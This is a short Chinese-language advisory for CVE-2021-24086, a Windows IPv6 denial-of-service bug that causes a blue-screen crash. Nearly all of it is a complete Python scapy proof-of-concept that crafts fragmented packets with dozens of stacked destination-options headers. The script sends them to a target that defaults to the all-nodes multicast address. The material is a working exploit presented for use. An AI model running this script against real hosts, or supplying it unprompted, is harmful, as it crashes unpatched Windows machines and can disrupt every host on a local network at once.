Windows TCP/IP拒绝服务漏洞 (CVE-2021-24086)¶
Windows IPv6协议栈存在一处拒绝服务漏洞,远程攻击者可通过向目标系统发送特制数据包来利用此漏洞,成功利用此漏洞可导致目标系统拒绝服务(蓝屏)。
poc.py:
# Axel '0vercl0k' Souchet - April 7 2021
from scapy.all import *
import argparse
def frag6(target, frag_id, bytes, nh, frag_size = 1008):
'''Ghetto fragmentation.'''
assert (frag_size % 8) == 0
leftover = bytes
offset = 0
frags = []
while len(leftover) > 0:
chunk = leftover[: frag_size]
leftover = leftover[len(chunk): ]
last_pkt = len(leftover) == 0
# 0 -> No more / 1 -> More
m = 0 if last_pkt else 1
assert offset < 8191
pkt = Ether() \
/ IPv6(dst = target) \
/ IPv6ExtHdrFragment(m = m, nh = nh, id = frag_id, offset = offset) \
/ chunk
offset += (len(chunk) // 8)
frags.append(pkt)
return frags
def pull_the_trigger(args):
'''Trigger CVE-2021-24086 patched in REL2102.'''
frag_id = random.randint(0, 0xffffffff)
second_pkt_id = (~frag_id & 0xffffffff)
reassembled_pkt = IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xa0)),
]) \
/ IPv6ExtHdrFragment(
id = second_pkt_id, m = 1,
nh = 17, offset = 0
) \
/ UDP(dport = 31337, sport = 31337, chksum=0x7e7f)
reassembled_pkt = bytes(reassembled_pkt)
assert (len(reassembled_pkt) % 8) == 0, 'not aligned'
frags = frag6(args.target, frag_id, reassembled_pkt, 60)
print(f'{len(frags)} fragments, total size {hex(len(reassembled_pkt))}')
sendp(frags, iface= args.iface)
reassembled_pkt_2 = Ether() \
/ IPv6(dst = args.target) \
/ IPv6ExtHdrFragment(id = second_pkt_id, m = 0, offset = 1, nh = 17) \
/ 'doar-e ftw'
sendp(reassembled_pkt_2, iface = args.iface)
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--target', default = 'ff02::1')
parser.add_argument('--iface', default = 'eth1')
args = parser.parse_args()
pull_the_trigger(args)
return
if __name__ == '__main__':
main()